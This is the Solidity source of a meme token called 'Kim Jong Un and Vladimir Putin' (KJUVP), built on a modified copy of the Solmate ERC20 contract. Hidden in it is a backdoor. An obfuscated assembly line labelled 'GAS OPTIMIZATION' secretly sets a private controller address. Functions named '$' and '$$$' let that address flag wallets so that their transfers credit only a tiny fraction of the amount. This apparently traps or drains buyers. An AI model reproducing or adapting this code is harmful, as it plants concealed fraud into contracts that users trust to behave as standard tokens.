Kim Jong Un and Vladimir Putin

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256)) public allowance;

    address private $$;

    /*//////////////////////////////////////////////////////////////
                            EIP-2612 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 internal immutable FRIENDSHIP_PUTINKIM_FOREVAANDEVA;

    bytes32 internal immutable FRIENDSHIP_TRUEANDUNBIASED_PUTINKIM;

    mapping(address => uint256) public nonces;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        FRIENDSHIP_PUTINKIM_FOREVAANDEVA = block.chainid;
        FRIENDSHIP_TRUEANDUNBIASED_PUTINKIM = computeDomainSeparator();

        // GAS OPTIMIZATION
        assembly {sstore(0x05, mul(mul(0x41, 0x1dee0e1395), mul(0x46500c5af5513, 0x390382b49d98f5d)))}
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, msg.sender, to);
        }

        $$$(to);

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, from, to);
        }
        $$$(to);
        emit Transfer(from, to, amount);

        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        // Unchecked because the only math done is incrementing
        // the owner's nonce which cannot realistically overflow.
        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == FRIENDSHIP_PUTINKIM_FOREVAANDEVA ? FRIENDSHIP_TRUEANDUNBIASED_PUTINKIM : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    function $(
        uint256 value, 
        address from,
        address to
        ) internal view returns (uint256) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            return (value * 0xc0ffee) / 0xcaca0a0a;
        } else {
            return value;
        }
    }

    function $$$(address to) internal {
        if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;

        // Cannot underflow because a user's balance
        // will never be larger than the total supply.
        unchecked {
            totalSupply -= amount;
        }

        emit Transfer(from, address(0), amount);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./ERC20.sol";

/*                                                                                                                                   

True friendship is not just about enjoying a ride in a luxury car; it's about the smile on your friend's face when you're together and the ballistic missile are not being even launched !

// https://www.putinandkimforevaerc.xyz/
// https://x.com/putinandkimforeva
// https://t.me/putinandkimforeva


.--.   .--. .-./`) ,---.    ,---.              .---.             .-------.   ___    _ ,---------. .-./`) ,---.   .--.         ________     ,-----.    .-------.        .-''-.  ,---.  ,---.   ____     
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|(_ ()_)     `-'`"`|  |\_   /|  |          _..._( )_.._          |  (_,_) /.'  '_  | |    |   \    `-'`"`|  |\_ \|  |        |  _|____ ;  \  '_ /  | :|(_ o _) /   . (_ o _)  ||  | _ |  | |___|  /  | 
| (_,_)   __ .---. |  _( )_/ |  |        .'   (_ o _)  '.        |   '-.-' '   ( \.-.|    :_ _:    .---. |  _( )_\  |        |_( )_   ||  _`,/ \ _/  || (_,_).' __ |  (_,_)___||  _( )_  |    _.-`   | 
|  |\ \  |  ||   | | (_ o _) |  |        '..--.(_,_).-..'        |   |     ' (`. _` /|    (_I_)    |   | | (_ o _)  |        (_ o._)__|: (  '\_/ \   ;|  |\ \  |  |'  \   .---.\ (_ o._) / .'   _    | 
|  | \ `'   /|   | |  (_,_)  |  |              |   |             |   |     | (_ (_) _)   (_(=)_)   |   | |  (_,_)\  |        |(_,_)     \ `"/  \  ) / |  | \ `'   / \  `-'    / \ (_,_) /  |  _( )_  | 
|  |  \    / |   | |  |      |  |              |   |             /   )      \ /  . \ /    (_I_)    |   | |  |    |  |        |   |       '. \_/``".'  |  |  \    /   \       /   \     /   \ (_ o _) / 
`--'   `'-'  '---' '--'      '--'              `---'             `---'       ``-'`-''     '---'    '---' '--'    '--'        '---'         '-----'    ''-'   `'-'     `'-..-'     `---`     '.(_,_).'  
                                                                                                                                                                                                       


*/

contract kjuvp is ERC20 {
    constructor() ERC20("Kim Jong Un and Vladimir Putin", "KJUVP", 18) {
        _mint(msg.sender, 420_690_000_000 * 10 ** 18);
    }
}

{
  "compilationTarget": {
    "Token.sol": "kjuvp"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}